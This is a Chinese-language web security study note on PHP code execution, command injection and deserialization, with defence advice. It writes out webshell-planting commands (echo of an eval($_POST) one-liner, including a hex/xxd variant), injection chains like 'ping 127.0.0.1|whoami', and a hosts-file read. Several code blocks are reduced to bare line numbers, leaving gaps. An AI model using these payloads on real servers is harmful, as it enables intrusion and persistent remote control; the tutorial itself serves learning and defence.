代码执行命令执行反序列化

PHP代码执行

eval()

1
2
3
eval()会将字符串当作PHP代码执行。

里面参数的值需要”;” 结尾

assert()

1
2
3
assert()会将字符串当作PHP代码执行。

里面参数不需要”;” 结尾

preg_replace()

1
2
3
4
5
6
7
preg_replace()的作用是对字符串进行正则处理
preg_replace(a,b,abcd)

preg_replace($pattern,$replacement,$subject)
当第一个参数存在e修饰符时,第二个参数的值会被当成PHP代码来执行。

如preg_replace(“/\[(.*)\]/e”,’\\1’,$code);

call_user_func()等函数

1
2
3
4
5
6
7
<?php
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
?>
该函数的第一个参数作为回调函数,后面的参数为回调函数的参数

动态函数$a($b)

1
2
3
4
5
<?php
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
?>

代码执行利用

1
print __FILE__
1
print file_get_contents('C:\Windows\System32\drivers\etc\hosts')
1
2
3
file_put_contents(文件名,内容)

http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php

PHP代码执行防御

1.尽量不要使用eval等函数

2.如果使用的话一定要进行严格的过滤

3.preg_replace 放弃使用/e修饰符

4.在php配置文件中禁用危险函数
disable_functions

命令执行漏洞

命令执行危险函数

1
2
执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

1
2
和exec的区别在于system在执行系统外部命令时,直接将结果输出到游览器,不需要使用 echo 或 return 来查看结果,如果成功则返回命令输出的最后一行,否则返回false。第二个参数与exec第三个参数含义一样。

1
2
函数实际上仅是反引号 (`) 操作符的变体,不输出结果,返回执行结果

1
2
3
在linux中起到的是命令替换的作用,
命令置换是指shell能够将一个命令的标准输出插在一个命令行中任何位置

1
2
passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。

1
2
3
4
5
6
7
使用 command 参数打开进程文件指针。能够将字符串作为OS命令执行,但是该函数并不返回命令结果,也没有任何输出结果,而是返回一个文件指针。
command 必需。规定要执行的命令。
mode 必需。规定连接模式。
可能的值:
r: 只读。
w: 只写(打开并清空已有文件或创建一个新文件)

命令执行漏洞利用

继承web用户权限

1
2
3
4
5
6
7
8
1. 查看系统文件
type 文件路径

2. 显示当前路径
Cd

3. 写文件
echo ^<?php eval($_POST[a])?^> > D:\a.txt

写入webshell:

1
2
3
4
5
6
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>,方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字

linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

命令连接符

1
2
3
4
5
6
7
8
9

| 命令管道符

<>>> 文件重定向符

测试: 0 | dir c:

  代码只过滤了部分特殊字符,可以考虑用其他字符进行测试,这边列举一下Window/Linux可利用的特殊字符:

windows支持:

1
2
3
4
5
6
7
|     直接执行后面的语句      ping 127.0.0.1|whoami          

|| 前面出错执行后面的 ,前面为假 ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux支持:

1
2
3
4
5
6
7
8
9
;     前面的执行完执行后面的      ping 127.0.0.1;whoami  

| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami

11 当前面的执行出错时执行后面的 ping 1||whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

命令注入防御

  1. 尽量减少命令执行函数的使用,并在disable_functions中禁用

  2. 对参数进行过滤

  3. 参数值尽量使用引号包裹,并用转义函数如addslashes转义。

  4. 升级到PHP最新版本,对大部分常见的执行动态代码的方法进行了封堵。

PHP反序列化漏洞

序列化:在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。

逆向的过程就叫做反序列化。

PHP通过string serialize ( mixed $value )和mixed unserialize( string $str )两个函数实现序列化和反序列化。

序列化函数

1
在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。
1
将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。

序列化与反序列化作用

序列化的目的是方便数据的传输和存储

在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存, cookie等。

对象基本概念

类、属性、方法、对象

O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”daye”;}

对象类型:长度:”类名“:类中变量的个数:{类型:长度:“值”;类型:长度:“值“;…..}

反序列化漏洞可能会用到的方法

1
当一个对象创建时被调用
1
当一个对象销毁时被调用
1
当一个对象被当作一个字符串使用
1
在对象被序列化之前运行
1
在对象被反序列化之后被调用